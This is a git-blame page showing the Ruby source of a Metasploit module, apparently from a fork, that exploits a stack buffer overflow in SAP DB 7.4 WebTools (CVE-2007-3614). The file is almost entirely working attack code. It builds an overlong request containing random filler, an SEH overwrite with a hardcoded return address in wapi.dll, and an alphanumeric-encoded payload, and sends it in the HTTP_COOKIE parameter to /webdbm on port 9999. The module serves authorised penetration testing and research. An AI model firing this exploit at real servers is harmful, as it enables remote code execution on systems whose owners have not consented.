Files
metasploit-gs/modules/exploits/windows/http/sapdb_webtools.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

80 lines
2.2 KiB
Ruby
Raw Normal View History

2007-07-11 21:16:30 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2007-07-11 21:16:30 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2007-07-11 21:16:30 +00:00
2010-07-14 00:02:21 +00:00
HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
2007-07-11 21:16:30 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'SAP DB 7.4 WebTools Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
2025-06-20 13:20:44 +01:00
By sending an overly long GET request, it may be possible for
an attacker to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' => [
2007-07-11 21:16:30 +00:00
[ 'CVE', '2007-3614' ],
[ 'OSVDB', '37838' ],
2009-07-16 16:02:24 +00:00
[ 'BID', '24773' ],
2007-07-11 21:16:30 +00:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'DefaultOptions' => {
2007-07-11 21:16:30 +00:00
'EXITFUNC' => 'thread',
},
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 850,
'BadChars' => "\x00",
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
2025-06-20 13:20:44 +01:00
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'EncoderOptions' =>
2025-06-20 13:20:44 +01:00
{
'BufferRegister' => 'ECX',
},
2007-07-11 21:16:30 +00:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
2007-07-11 21:16:30 +00:00
],
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2007-07-05',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2007-07-11 21:16:30 +00:00
2025-06-20 13:20:44 +01:00
register_options([ Opt::RPORT(9999) ])
2007-07-11 21:16:30 +00:00
end
def exploit
filler = rand_text_alphanumeric(20774)
seh = generate_seh_payload(target.ret)
2010-07-16 02:33:25 +00:00
2007-07-11 21:16:30 +00:00
sploit = filler + seh + rand_text_alphanumeric(3000)
print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
2010-07-16 02:33:25 +00:00
res = send_request_raw(
{
2025-06-20 13:20:44 +01:00
'uri' => '/webdbm',
2010-07-16 02:33:25 +00:00
'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
2025-06-20 13:20:44 +01:00
}, 5
)
2007-07-11 21:16:30 +00:00
handler
end
2009-07-16 16:02:24 +00:00
end